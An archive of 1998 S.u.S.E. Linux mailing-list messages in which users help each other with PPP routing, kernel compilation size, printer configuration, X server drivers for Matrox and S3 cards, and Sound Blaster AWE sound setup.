>
>-----------------------------------------------
>Man's mind is his basic tool of survival!
>
>Lawrence Sayre 
>-----------------------------------------------
>
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From punt@mci2000.com Sun Jun 14 01:01:51 1998
From: punt@mci2000.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] PPP Woes
Date: Sat, 13 Jun 1998 21:01:51 -0400
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your route.conf file needs to be updated.  Take out the default route
setting, rerun SuSECONFIG.  Then try it.  Not sure why you set it up for
default to the dummy route.  Odd.
>
>I noticed that as well-  the question is why, and what's the workaround-
>i.e. which config files need to be changed to push everything out over the
>PPP connect?
>
>
>Ken Schuller
>Network Systems Specialist
>NovaNET Learning, Inc.
>
>> -----Original Message-----
>> From: owner-suse-linux-e(a)suse.com [mailto:owner-suse-linux-e(a)suse.com]On
>> Behalf Of Punt
>> Sent: Saturday, June 13, 1998 3:17 PM
>> To: suse-linux-e(a)suse.com
>> Subject: Re: [S.u.S.E. Linux] PPP Woes
>>
>>
>>
>> Its his default route!!!!!  He must all ready have one and the PPP
>> connection isn't overwriting it.  It says so in hit "tail message".
>>
>> >> Jun 13 10:47:42 geek pppd[240]: ppp not replacing existing
>> default route
>> to
>>
>>
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From lsayre@integrityonline13.com Sun Jun 14 01:07:50 1998
From: lsayre@integrityonline13.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSe 5.2 says new kernel is too big?
Date: Sat, 13 Jun 1998 20:07:50 -0500
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Michael Clark wrote:
> 
> Lawrence Sayre wrote:
> 
> > I used xconfig to make a new kernel, and at the end of 'make zImage' I
> > got 2 errors, basically saying that the kernel (system?) was too big (it
> > is slightly over 1 meg).
> >
> > I can't understand this, since I cut nearly everything to the quick.  My
> > stand-alone system has no networking, etc..
> >
> > How did my kernel get this large?
> >
> > I tried installing it anyway, and 'lilo' kicked out saying that the
> > kernel (system) is too big, so back to the old kernel, which was the
> > default kernel from my install (which is about 1/2 meg).
> >
> > -----------------------------------------------
> > Man's mind is his basic tool of survival!
> >
> > Lawrence Sayre 
> > -----------------------------------------------
> >
> > --
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> 
> Something that I did on my first few attempts to manually compile my own
> kernels was trying to install the uncompressed kernel.  When I would
> compile the kernel, I would copy the kernel to /vmlinuz and run lilo.
> 
> /usr/src/linux/vmlinuz about 870k, kernel too big
> 
> /usr/src/linux/arch/i386/boot/zImage about 360k, works great!!  :-)
> 
> It sounds like this may be the problem.  If not, maybe this will save
> someone else headaches.
> 
> mc
> 

That was it.  I found zImage right where you said I would.

Thanks!  The new kernel is working just fine!!!!

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From lsayre@integrityonline13.com Sun Jun 14 01:15:00 1998
From: lsayre@integrityonline13.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSe 5.2 says new kernel is too big?
Date: Sat, 13 Jun 1998 20:15:00 -0500
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Michael Lankton wrote:
>=20
> He isn't getting that far.  His kernel is larger than zImage will
> tolerate.  I know people that use bzImage because they have strenuous
> driver needs, but there is no reason for Joe Linux User on a single user
> box running a 2.0.x kernel to be as large as he is getting.
>=20
> Robb wrote:
> >
> > Are you using the kernel created in /usr/src/linux/arch/i386/boot? I've
> > never seen one over 500M or so.
> >
> > Hope that helps.
> > Robb
> >
> > > Lawrence Sayre wrote:
> > > >
> > > > I used xconfig to make a new kernel, and at the end of 'make zImage' I
> > > > got 2 errors, basically saying that the kernel (system?) was too big =
(it
> > > > is slightly over 1 meg).
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I made another kernel and cut even more out.  This got it down to about
480K with no error messages.

Then I made the mistake of using the kernel source file instead of the
zImage as others suggested for the problem, so the advice of the others
helped in the end.

I'm happy to say that my new kernel with sound support added is
working.  Now, if I could only figure out how to get my Soundblaster
AWE32 PnP to work (without resorting to the OSS driver, which doesn't
work with RealAudio) I'd be even happier.

Thanks to everyone who pitched in on this!
=20
-----------------------------------------------
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From lsayre@integrityonline13.com Sun Jun 14 01:18:18 1998
From: lsayre@integrityonline13.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSe 5.2 says new kernel is too big?
Date: Sat, 13 Jun 1998 20:18:18 -0500
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Actually, I did this as my second mistake after I finally got the kernel
to actually compile at about 480K.

The first time around it was too big to compile properly, and I thought
I had cut it to the quick on options.  Go figure.

kimon(a)wtco.net wrote:
> 
> I had the same experience. You would not happen to be trying to use the file
> /usr/src/linux/vmlinux ? After compile the actual kernel resides under
> /usr/src/linux/arch/i386/boot/. I am assuming an x86 machine. Try the file
> zImage, it should be a better size.
> 
> On Sat, 13 Jun 1998, you wrote:
> >I used xconfig to make a new kernel, and at the end of 'make zImage' I
> >got 2 errors, basically saying that the kernel (system?) was too big (it
> >is slightly over 1 meg).
> >
> >I can't understand this, since I cut nearly everything to the quick.  My
> >stand-alone system has no networking, etc..
> >
> >How did my kernel get this large?
> >
> >I tried installing it anyway, and 'lilo' kicked out saying that the
> >kernel (system) is too big, so back to the old kernel, which was the
> >default kernel from my install (which is about 1/2 meg).
> >
> >-----------------------------------------------
> >Man's mind is his basic tool of survival!
> >
> >Lawrence Sayre 
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From cparman@cyberramp.net Sun Jun 14 01:20:15 1998
From: cparman@cyberramp.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Printing problem
Date: Sat, 13 Jun 1998 20:20:15 -0500
Message-ID: <98061320272000.07266@TheWave>
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Hi All

       I'm having a bit of a problem with the printer configuration. The prob=
lem
is that when I send a print job (using 'lpr /etc/passwd' ....for example) to =
the
printer, the result is the contents of the print job is only printed in the
lower-left hand corner of the paper and is displayed in 'landscape' orientati=
on.
Also the print is very small. I have a HP deskjet-520 non-color printer. If
anyone has any suggestion please feel free to reply to this e-mail post. Thank
you for your help in advance.

Regards,

-Chris

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From mwagnon@ixpres.com Sun Jun 14 01:36:19 1998
From: mwagnon@ixpres.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Printing problem
Date: Sat, 13 Jun 1998 18:36:19 -0700
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How's this?

If the text is small and prints two pages of text per sheet of paper,
you'll need to edit the /etc/apsfilterrc file. Look for the word
FEATURE=3D2n and change it to FEATURE=3D1n.

luck,

Mark


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> Hi All
>=20
>        I'm having a bit of a problem with the printer configuration. The pr=
oblem
> is that when I send a print job (using 'lpr /etc/passwd' ....for example) t=
o the
> printer, the result is the contents of the print job is only printed in the
> lower-left hand corner of the paper and is displayed in 'landscape' orienta=
tion.
> Also the print is very small. I have a HP deskjet-520 non-color printer. If
> anyone has any suggestion please feel free to reply to this e-mail post.
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From mwagnon@ixpres.com Sun Jun 14 01:44:18 1998
From: mwagnon@ixpres.com
To: users@lists.opensuse.org
Subject: Re: wish list (Re: [S.u.S.E. Linux] SuSE 5.3)
Date: Sat, 13 Jun 1998 18:44:18 -0700
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Which one is better? I'm using xsvga. Granted I don't do any graphics
stuff, but I've seen some images that look good to me, especially since
upgraded from a Trident card last week. Hell, I thought I needed new
glasses!

Mark


---

Michael Lankton wrote:
> 
> Are you using the xsvga or xmatrox server?
>
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From satan@nfinity.com Sun Jun 14 02:25:15 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: wish list (Re: [S.u.S.E. Linux] SuSE 5.3)
Date: Sat, 13 Jun 1998 21:25:15 -0500
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A friend of mine has a millenium 2, and he prefers the xsvga to the
xmatrox server.  That is a good graphics card and I've only heard good
things from anyone that I've talked to who has one.  What color depth
are you using?  Maybe get into XF86Setup again and double check all your
settings just to be sure something obvious isn't misconfigured.

Mark Wagnon wrote:
> 
> Which one is better? I'm using xsvga. Granted I don't do any graphics
> stuff, but I've seen some images that look good to me, especially since
> upgraded from a Trident card last week. Hell, I thought I needed new
> glasses!
> 
> Mark

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From rr44607@swt.edu Sun Jun 14 03:24:52 1998
From: rr44607@swt.edu
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSe 5.2 says new kernel is too big?
Date: Sat, 13 Jun 1998 22:24:52 -0500
Message-ID: <35834284.2E9B866@swt.edu>
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TEX wrote:
> 
> Thanks for explaining why the kernel comes from where it does.  I have been
> trying to figure that one out.    When does it get compressed and called
> zImage?
> 
> Thanks again..

'make zImage' deposits the compressed kernel in that directory. Neato,
eh?

Have Fun!
Robb.

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From fm@lightlink.com Sun Jun 14 03:29:44 1998
From: fm@lightlink.com
To: users@lists.opensuse.org
Subject: Re: wish list (Re: [S.u.S.E. Linux] SuSE 5.3)
Date: Sat, 13 Jun 1998 23:29:44 -0400
Message-ID: <358343A8.62EDA54F@lightlink.com>
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What ever will work properly.

Fred

Michael Lankton wrote:
> 
> Are you using the xsvga or xmatrox server?
> 
> Fred A. Miller wrote:
> >
> > Karl Eichwalder wrote:
> > >
> > > Steven Udell  writes:
> > >
> > > |   So does SuSE have a wish list, to like make comments on what they
> > > |   should have on a up-and-comming distro of thiers? if so where do I
> > > |   find it?
> >
> > I'd like better Matrox drivers.  The Mill. II drivers are fine for text,
> > menus and such, but photos are grainy.  Apparently the driver isn't able
> > to provide the color depth needed.
> >
> > Fred
> >
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From fm@lightlink.com Sun Jun 14 03:32:24 1998
From: fm@lightlink.com
To: users@lists.opensuse.org
Subject: Re: wish list (Re: [S.u.S.E. Linux] SuSE 5.3)
Date: Sat, 13 Jun 1998 23:32:24 -0400
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Michael Lankton wrote:
> 
> A friend of mine has a millenium 2, and he prefers the xsvga to the
> xmatrox server.  That is a good graphics card and I've only heard good
> things from anyone that I've talked to who has one.  What color depth
> are you using?  Maybe get into XF86Setup again and double check all your
> settings just to be sure something obvious isn't misconfigured.

That's another problem...setup doesn't want to work at all, leaving me
"hung" in X after it's use.

Fred

> Mark Wagnon wrote:
> >
> > Which one is better? I'm using xsvga. Granted I don't do any graphics
> > stuff, but I've seen some images that look good to me, especially since
> > upgraded from a Trident card last week. Hell, I thought I needed new
> > glasses!
> >
> > Mark
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From fm@lightlink.com Sun Jun 14 03:35:11 1998
From: fm@lightlink.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] AWE-64
Date: Sat, 13 Jun 1998 23:35:11 -0400
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Yeah, I know.  There was some posts on how to setup a Sound Blaster
AWE-64, ISA.  All that mail is gone off an older system, so I don't have
it.  'Would like an assist for the best setup, I.E. take proper
advantage of the card.

Thanks,

Fred


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From mwagnon@ixpres.com Sun Jun 14 03:44:46 1998
From: mwagnon@ixpres.com
To: users@lists.opensuse.org
Subject: Re: wish list (Re: [S.u.S.E. Linux] SuSE 5.3)
Date: Sat, 13 Jun 1998 20:44:46 -0700
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No problems here. I was just curious as to which xserver was better.
Yeah the Mill. 2 is great. When I had my Trident card installed I had a
heck of a time getting X up and running with a decent res and color
depth (a lot of tweaking by hand), but the millenium 2 was a snap. Yast
gave me a functional X in less than 5 minuntes!

Mark


---

Michael Lankton wrote:
> 
> A friend of mine has a millenium 2, and he prefers the xsvga to the
> xmatrox server.  That is a good graphics card and I've only heard good
> things from anyone that I've talked to who has one.  What color depth
> are you using?  Maybe get into XF86Setup again and double check all your
> settings just to be sure something obvious isn't misconfigured.
> 
> Mark Wagnon wrote:
> >
> > Which one is better? I'm using xsvga. Granted I don't do any graphics
> > stuff, but I've seen some images that look good to me, especially since
> > upgraded from a Trident card last week. Hell, I thought I needed new
> > glasses!
> >
> > Mark
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From deem@wdm.com Sun Jun 14 03:50:54 1998
From: deem@wdm.com
To: users@lists.opensuse.org
Subject: Re: wish list (Re: [S.u.S.E. Linux] SuSE 5.3)
Date: Sat, 13 Jun 1998 19:50:54 -0800
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"Fred A. Miller"  wrote:
>=20
> That's another problem...setup doesn't want to work at all, leaving me
> "hung" in X after it's use.
>=20

Fred,

Is it you box that is having problems with a Matrox Millenium II ?
Please try the demo at http://www.xig.com> as it will work great
with Milleniums. I use it happily.

-Dee

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From deem@wdm.com Sun Jun 14 03:58:06 1998
From: deem@wdm.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] AWE-64
Date: Sat, 13 Jun 1998 19:58:06 -0800
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"Fred A. Miller"  wrote:
> 
> Yeah, I know.  There was some posts on how to setup a Sound Blaster
> AWE-64, ISA.  All that mail is gone off an older system, so I don't have
> it.  'Would like an assist for the best setup, I.E. take proper
> advantage of the card.
> 
> Thanks,
> 
> Fred

I have a AWE64 Gold w/4megs and using SuSE 5.2 and the latest from OSS
it works flawlessly. It is a 16bit card not PCI and nothing special 
was needed. Send me mail if you need more help.

-Dee

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From fm@lightlink.com Sun Jun 14 04:16:13 1998
From: fm@lightlink.com
To: users@lists.opensuse.org
Subject: Re: wish list (Re: [S.u.S.E. Linux] SuSE 5.3)
Date: Sun, 14 Jun 1998 00:16:13 -0400
Message-ID: <35834E8D.3FCAE67A@lightlink.com>
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As a follow up, if I run Setup while IN X, it updates fine....or so it
would appear.  However, photos at 32-bit are still grainy in Netscape
4.04.

Fred

Fred A. Miller wrote:
> 
> Michael Lankton wrote:
> >
> > A friend of mine has a millenium 2, and he prefers the xsvga to the
> > xmatrox server.  That is a good graphics card and I've only heard good
> > things from anyone that I've talked to who has one.  What color depth
> > are you using?  Maybe get into XF86Setup again and double check all your
> > settings just to be sure something obvious isn't misconfigured.
> 
> That's another problem...setup doesn't want to work at all, leaving me
> "hung" in X after it's use.
> 
> Fred
> 
> > Mark Wagnon wrote:
> > >
> > > Which one is better? I'm using xsvga. Granted I don't do any graphics
> > > stuff, but I've seen some images that look good to me, especially since
> > > upgraded from a Trident card last week. Hell, I thought I needed new
> > > glasses!
> > >
> > > Mark
> > --
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From satan@nfinity.com Sun Jun 14 04:22:35 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: wish list (Re: [S.u.S.E. Linux] SuSE 5.3)
Date: Sat, 13 Jun 1998 23:22:35 -0500
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Sounds like you don't have ncurses installed, check and see and then try
XF86Setup again if that was the case.

Fred A. Miller wrote:

> 
> That's another problem...setup doesn't want to work at all, leaving me
> "hung" in X after it's use.
> 
> Fred
>

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From kimon@wtco.net Sun Jun 14 04:27:26 1998
From: kimon@wtco.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSe 5.2 says new kernel is too big?
Date: Sat, 13 Jun 1998 23:27:26 -0500
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>I'm happy to say that my new kernel with sound support added is
>working.  Now, if I could only figure out how to get my Soundblaster
>AWE32 PnP to work (without resorting to the OSS driver, which doesn't
>work with RealAudio) I'd be even happier.

You might already know, but since I just went through this two days ago, and =
for
the exact same reason (RealPlayer) hear is a most valuable starting point:
http://bahamut.mm.t.u-tokyo.ac.=
jp/~iwai/awedrv/>

Good luck
Kimon Tsinteris

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From fm@lightlink.com Sun Jun 14 04:28:15 1998
From: fm@lightlink.com
To: users@lists.opensuse.org
Subject: Re: wish list (Re: [S.u.S.E. Linux] SuSE 5.3)
Date: Sun, 14 Jun 1998 00:28:15 -0400
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W.D.McKinney wrote:
>=20
> "Fred A. Miller"  wrote:
> >
> > That's another problem...setup doesn't want to work at all, leaving me
> > "hung" in X after it's use.
> >
>=20
> Fred,
>=20
> Is it you box that is having problems with a Matrox Millenium II ?
> Please try the demo at http://www.xig.com> as it will work great
> with Milleniums. I use it happily.

No, it a deffinate problem with the drivers.  'Reminds me of the grief
we went through with S3 and getting proper drivers for OS/2, in the
"early days."  I don't have the commercial server, so those drivers
are "out."  'Guess I'll have to wait for better drivers from SuSE.

Fred


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From deem@wdm.com Sun Jun 14 04:35:01 1998
From: deem@wdm.com
To: users@lists.opensuse.org
Subject: Re: wish list (Re: [S.u.S.E. Linux] SuSE 5.3)
Date: Sat, 13 Jun 1998 20:35:01 -0800
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Hi Fred,

The best drivers for the ole' AWE64 are the commercial OSS available
at http://www.4front-tech.com> and a demo is available.

An excellent product...listening to the latest copy of xmcd now....:)

-Dee

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From schullersite@worldnet.att.net Sun Jun 14 04:41:33 1998
From: schullersite@worldnet.att.net
To: users@lists.opensuse.org
Subject: RE: [S.u.S.E. Linux] Printing problem
Date: Sat, 13 Jun 1998 23:41:33 -0500
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Happy to oblige, Chris-  I went thru the same thing two days ago!

Here's your salvation (and yes, this pissed me off TREMENDOUSLY):

Go into /etc/apsfilterrc .  Believe it or not, they documented everything
right in the file!  Pretty darn cool-  would have been even cooler had I
known to look there intitially!  You'll see a config paramter about halfway
thru the file that has four options.  What you want, if you're like most
people, is one page per sheet, no header.  Change the option to the one you
REALLY want, and save the file.  That's it!  :)

Any questions, give a shout.  I have a shared Windoesn't 95/Linux partition
I can copy the file to  and then post it here if you get stuck.

Ken Schuller
Network Systems Specialist
NovaNET Learning, Inc.

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> From: owner-suse-linux-e(a)suse.com [mailto:owner-suse-linux-e(a)suse.com]On
> Behalf Of Chris Parman
> Sent: Saturday, June 13, 1998 8:20 PM
> To: suse-linux-e(a)suse.com
> Subject: [S.u.S.E. Linux] Printing problem
>
>
>
> Hi All
>
>        I'm having a bit of a problem with the printer
> configuration. The problem
> is that when I send a print job (using 'lpr /etc/passwd' ....for
> example) to the
> printer, the result is the contents of the print job is only
> printed in the
> lower-left hand corner of the paper and is displayed in
> 'landscape' orientation.
> Also the print is very small. I have a HP deskjet-520 non-color
> printer. If
> anyone has any suggestion please feel free to reply to this
> e-mail post. Thank
> you for your help in advance.
>
> Regards,
>
> -Chris
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From dana@ntd.net Sun Jun 14 04:42:04 1998
From: dana@ntd.net
To: users@lists.opensuse.org
Subject: Re: wish list (Re: [S.u.S.E. Linux] SuSE 5.3)
Date: Sat, 13 Jun 1998 23:42:04 -0500
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Fred A. Miller wrote:

> W.D.McKinney wrote:
> >
> > "Fred A. Miller"  wrote:
> > >
> > > That's another problem...setup doesn't want to work at all, leaving me
> > > "hung" in X after it's use.
> > >
> >
> > Fred,
> >
> > Is it you box that is having problems with a Matrox Millenium II ?
> > Please try the demo at http://www.xig.com> as it will work great
> > with Milleniums. I use it happily.
>
> No, it a deffinate problem with the drivers.  'Reminds me of the grief
> we went through with S3 and getting proper drivers for OS/2, in the
> "early days."  I don't have the commercial server, so those drivers
> are "out."  'Guess I'll have to wait for better drivers from SuSE.

Have you upgraded the bios on your Matrox card lately?  If not,
go to their web site and do so.  I have the 4MB card here and it
works fine.

Dana


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From deem@wdm.com Sun Jun 14 04:48:26 1998
From: deem@wdm.com
To: users@lists.opensuse.org
Subject: Re: wish list (Re: [S.u.S.E. Linux] SuSE 5.3)
Date: Sat, 13 Jun 1998 20:48:26 -0800
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"Fred A. Miller"  wrote:
> 
> No, it a deffinate problem with the drivers.  'Reminds me of the grief
> we went through with S3 and getting proper drivers for OS/2, in the
> "early days."  I don't have the commercial server, so those drivers
> are "out."  'Guess I'll have to wait for better drivers from SuSE.
> 
> Fred
> 
> -

I understand as "only the experienced walk with a limp"  :)

I mark my purchase of AcceleratedX as the top upgrade to a stock
Linux box. There is only 2 commercial "must haves"  in my book
and they are AccelX and OSS. 

I'm sitting at 1600x1200 at 24bpp and with the Millenium married to
a ViewSonic 20" monitor, it sure is nice.

Of course I'm enjoying some good ole' James Taylor in the background
thanks to OSS/Linux.

-Dee

W.D.McKinney (Dee) -=- deem(a)wdm.com
No claim to fame, just saved by Grace.

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From hettar@teleport.com Sun Jun 14 04:57:28 1998
From: hettar@teleport.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] No ./core dump for debugging (pls help)
Date: Sat, 13 Jun 1998 21:57:28 -0700
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Michael Lankton wrote:

> SuSE sets the variables regarding core files in /etc/profile

Thanks found it, its working fine now..

Steve


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From fm@lightlink.com Sun Jun 14 05:14:35 1998
From: fm@lightlink.com
To: users@lists.opensuse.org
Subject: Re: wish list (Re: [S.u.S.E. Linux] SuSE 5.3)
Date: Sun, 14 Jun 1998 01:14:35 -0400
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Michael Lankton wrote:
> 
> Sounds like you don't have ncurses installed, check and see and then try
> XF86Setup again if that was the case.
> 
> Fred A. Miller wrote:
> 
> >
> > That's another problem...setup doesn't want to work at all, leaving me
> > "hung" in X after it's use.

Yep......ncurses is installed.  I rebooted, and now the color is
GREAT!!  Apparently, the new config wasn't "active" right away, even
though it appeared to be.

Thanks for the help,

Fred


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From fm@lightlink.com Sun Jun 14 05:18:36 1998
From: fm@lightlink.com
To: users@lists.opensuse.org
Subject: Re: wish list (Re: [S.u.S.E. Linux] SuSE 5.3)
Date: Sun, 14 Jun 1998 01:18:36 -0400
Message-ID: <35835D2C.F697FAA1@lightlink.com>
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W.D.McKinney wrote:
>=20
> Hi Fred,
>=20
> The best drivers for the ole' AWE64 are the commercial OSS available
> at http://www.4front-tech.com> and a demo is available.
>=20
> An excellent product...listening to the latest copy of xmcd now....:)

Thanks,

Fred


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From fm@lightlink.com Sun Jun 14 05:19:53 1998
From: fm@lightlink.com
To: users@lists.opensuse.org
Subject: Re: wish list (Re: [S.u.S.E. Linux] SuSE 5.3)
Date: Sun, 14 Jun 1998 01:19:53 -0400
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Dana J. Laude wrote:
>=20
> Fred A. Miller wrote:
>=20
> > W.D.McKinney wrote:
> > >
> > > "Fred A. Miller"  wrote:
> > > >
> > > > That's another problem...setup doesn't want to work at all, leaving me
> > > > "hung" in X after it's use.
> > > >
> > >
> > > Fred,
> > >
> > > Is it you box that is having problems with a Matrox Millenium II ?
> > > Please try the demo at http://www.xig.com> as it will work great
> > > with Milleniums. I use it happily.
> >
> > No, it a deffinate problem with the drivers.  'Reminds me of the grief
> > we went through with S3 and getting proper drivers for OS/2, in the
> > "early days."  I don't have the commercial server, so those drivers
> > are "out."  'Guess I'll have to wait for better drivers from SuSE.
>=20
> Have you upgraded the bios on your Matrox card lately?  If not,
> go to their web site and do so.  I have the 4MB card here and it
> works fine.

'Works fine now....had to "go around the horn" to get there, but it's
fine now.

Thanks,

Fred


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From hettar@teleport.com Sun Jun 14 05:23:23 1998
From: hettar@teleport.com
To: users@lists.opensuse.org
Subject: Re: wish list (Re: [S.u.S.E. Linux] SuSE 5.3)
Date: Sat, 13 Jun 1998 22:23:23 -0700
Message-ID: <35835E4B.E6A13FAD@teleport.com>
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W.D.McKinney wrote:

> Hi Fred,
>
> The best drivers for the ole' AWE64 are the commercial OSS available
> at http://www.4front-tech.com> and a demo is available.
>
> An excellent product...listening to the latest copy of xmcd now....:)
>
> -Dee

Hey Dee, my AWE64 still won't do MIDI, even with OSS/Linux beta/normal
and it won't do mp3s either nor .au's and stumbles on .wavs  but it is
good
for XMCD tho..

Steve


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From fm@lightlink.com Sun Jun 14 05:23:57 1998
From: fm@lightlink.com
To: users@lists.opensuse.org
Subject: Re: wish list (Re: [S.u.S.E. Linux] SuSE 5.3)
Date: Sun, 14 Jun 1998 01:23:57 -0400
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W.D.McKinney wrote:
> 
> "Fred A. Miller"  wrote:
> >
> > No, it a deffinate problem with the drivers.  'Reminds me of the grief
> > we went through with S3 and getting proper drivers for OS/2, in the
> > "early days."  I don't have the commercial server, so those drivers
> > are "out."  'Guess I'll have to wait for better drivers from SuSE.
> >
> > Fred
> >
> > -
> 
> I understand as "only the experienced walk with a limp".

Yes.....had one for a long time.

> I mark my purchase of AcceleratedX as the top upgrade to a stock
> Linux box. There is only 2 commercial "must haves"  in my book
> and they are AccelX and OSS.

I may do it....video is fine now.  I "hard" install, but it's working as
it should.
 
> I'm sitting at 1600x1200 at 24bpp and with the Millenium married to
> a ViewSonic 20" monitor, it sure is nice.

Yes......bought a Nano about 6 months ago....never did regret it.

> Of course I'm enjoying some good ole' James Taylor in the background
> thanks to OSS/Linux.

'Depends on if I can get the stock SB drivers to work properly with my
SB AWE-64 ISA card.  So far, "nada."

Regards,

Fred


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From satan@nfinity.com Sun Jun 14 06:03:13 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: wish list (Re: [S.u.S.E. Linux] SuSE 5.3)
Date: Sun, 14 Jun 1998 01:03:13 -0500
Message-ID: <358367A1.2D808B80@nfinity.com>
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I have used metrox, accelx and xfree, and it must just depend on what
card you use.  I currently have an s3, and I get the best results from
the SuSE xfree xs3v server.  As far as sound goes,  I don't think James
cares what drivers you use :).  oss is pretty much for people whose
sound card isn't supported by the kernel drivers, otherwise sound is
sound.

W.D.McKinney wrote:
> I mark my purchase of AcceleratedX as the top upgrade to a stock
> Linux box. There is only 2 commercial "must haves"  in my book
> and they are AccelX and OSS.
> 
> I'm sitting at 1600x1200 at 24bpp and with the Millenium married to
> a ViewSonic 20" monitor, it sure is nice.
> 
> Of course I'm enjoying some good ole' James Taylor in the background
> thanks to OSS/Linux.
> 
> -Dee

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From satan@nfinity.com Sun Jun 14 06:08:39 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: wish list (Re: [S.u.S.E. Linux] SuSE 5.3)
Date: Sun, 14 Jun 1998 01:08:39 -0500
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First of all, sound really does like to be a module.  I couldn't get
sound up when I first got into linux.  I read some awe32 how to that
said sound HAD to be done as a module, tried that, and voila, sound.  If
you aren't getting midi even after compiling a new kernel with sound as
a module, chmod +x /dev/sequencer, it might be that simple.
good luck

Steven Udell wrote:
> Hey Dee, my AWE64 still won't do MIDI, even with OSS/Linux beta/normal
> and it won't do mp3s either nor .au's and stumbles on .wavs  but it is
> good
> for XMCD tho..
> 
> Steve

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From srmontg@ibm.net Sun Jun 14 06:14:42 1998
From: srmontg@ibm.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] ppp-off script
Date: Sun, 14 Jun 1998 02:14:42 -0400
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>

One more question about my ppp connection.  My ppp-off script is trying
to kill 'ppp0'.  However, it does not exist in 'ps'.  I have to actually
kill 'pppd' in order to get the connection to close.

Why does 'ppp0' not show up??
Can I change the ppp-off script to kill 'pppd'?

Steve


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From satan@nfinity.com Sun Jun 14 06:15:42 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] video modes
Date: Sun, 14 Jun 1998 01:15:42 -0500
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As long as we're on the subject,  anything over 800x600 and I get a
horrid refresh rate.  Both my card (s3) and my monitor (ADI 5AP 17") are
capable of doing better at up to 1280x1024.  I dual boot, and this is
this case in both os'es, so it isn't an x issue.  I'm just curious, is
my graphics card or my monitor more likely to be the culprit?  I get
outstanding image quality at 800x600, but at 1024x768 I get the wavy
effect from too low a refresh rate.  I would hate to buy one of the new
matrox g200 cards about to be released if it turns out my monitor is the
problem.  Thanks in advance.

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From Ken@geek.suse.de Sun Jun 14 06:24:59 1998
From: Ken@geek.suse.de
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Thanks to Everyone!
Date: Sun, 14 Jun 1998 01:24:59 -0500
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I want to take a moment to thank the people that took a look at my configs for
PPP. =C2=A0After almost five long months of tinkering, I finally have a Linux=
 system
that I can use for Internet access. =C2=A0Thanks again. =C2=A0I promise to sh=
are what
little knowledge I have to anyone who needs assistance.

Ken Schuller

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From mhtexcollins@ccms.net Sun Jun 14 08:07:37 1998
From: mhtexcollins@ccms.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] LS 120 drive
Date: Sun, 14 Jun 1998 03:07:37 -0500
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By the way, 2 different stores have these drives for 49.99 after rebate.

Kyle Hayes wrote:

> On Fri, 12 Jun 1998, Gary L. Vinyard wrote:
> >Hi all:
> >
> >I'm just getting started with Linux; trying to get things to work together
> >and figuring out what the capabilities are.  My question for today is
> >whether there is a device driver for the Imation LS 120 floppy drives?
> >(This is a nice little drive which reads both ordinary 3.5 disks as well
> >as a 120 mb floppy of the physical same size.)
>
> I think that the LS120's are ATAPI devices.  Make sure that you have
> installed drivers for those.  There might be a HOWTO at the LDP.
> Go to http://www.ssc.com/linux> and search around a little bit for a
> reference to the Linux Documentation Project, then look for HOWTOs.  I
> think I remember seeing one for ATAPI devices.  Mostly ATAPI devices are
> CDROMs, so the docs might lean toward that.
>
> Best,
> Kyle
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From roberto@cbvcp.com Sun Jun 14 08:07:37 1998
From: roberto@cbvcp.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] video modes
Date: Sun, 14 Jun 1998 01:07:37 -0700
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i don't know for certain, but perhaps you have to adjust the card manually?
just an idea

Michael Lankton wrote:

> As long as we're on the subject,  anything over 800x600 and I get a
> horrid refresh rate.  Both my card (s3) and my monitor (ADI 5AP 17") are
> capable of doing better at up to 1280x1024.  I dual boot, and this is
> this case in both os'es, so it isn't an x issue.  I'm just curious, is
> my graphics card or my monitor more likely to be the culprit?  I get
> outstanding image quality at 800x600, but at 1024x768 I get the wavy
> effect from too low a refresh rate.  I would hate to buy one of the new
> matrox g200 cards about to be released if it turns out my monitor is the
> problem.  Thanks in advance.
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From deem@wdm.com Sun Jun 14 08:29:58 1998
From: deem@wdm.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] video modes
Date: Sun, 14 Jun 1998 00:29:58 -0800
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Aaron Seelye  wrote:
> 
> i don't know for certain, but perhaps you have to adjust the card manually?
> just an idea
> 
> Michael Lankton wrote:
> 
> > As long as we're on the subject,  anything over 800x600 and I get a
> > horrid refresh rate.  Both my card (s3) and my monitor (ADI 5AP 17") are
> > capable of doing better at up to 1280x1024.  I dual boot, and this is
> > this case in both os'es, so it isn't an x issue.  I'm just curious, is
> > my graphics card or my monitor more likely to be the culprit?  I get
> > outstanding image quality at 800x600, but at 1024x768 I get the wavy
> > effect from too low a refresh rate.  I would hate to buy one of the new
> > matrox g200 cards about to be released if it turns out my monitor is the
> > problem.  Thanks in advance.
> > -

Chip Set (speed), Video memory, and the monitor's capabilities.
Of course a Matrox Millenium G200 w/8megs will push your monitor's
capabilities, as with AccelX, it will do 1920x1440 . 

I'd try a different card to narrow it down, or the other option, a different
monitor, and eliminate one or the other.   

Best Regards
-Dee

W.D.McKinney (Dee) -=- deem(a)wdm.com
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From brauki@cityweb.de Sun Jun 14 09:08:21 1998
From: brauki@cityweb.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Problems with installing KDE
Date: Sun, 14 Jun 1998 11:08:21 +0200
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Aaron Seelye wrote:
>=20
> Did you download the rpm's from suse's ftp?  If not, then do so, because you
> can install those through yast.
>=20
> Michael Schwindling wrote:
>=20
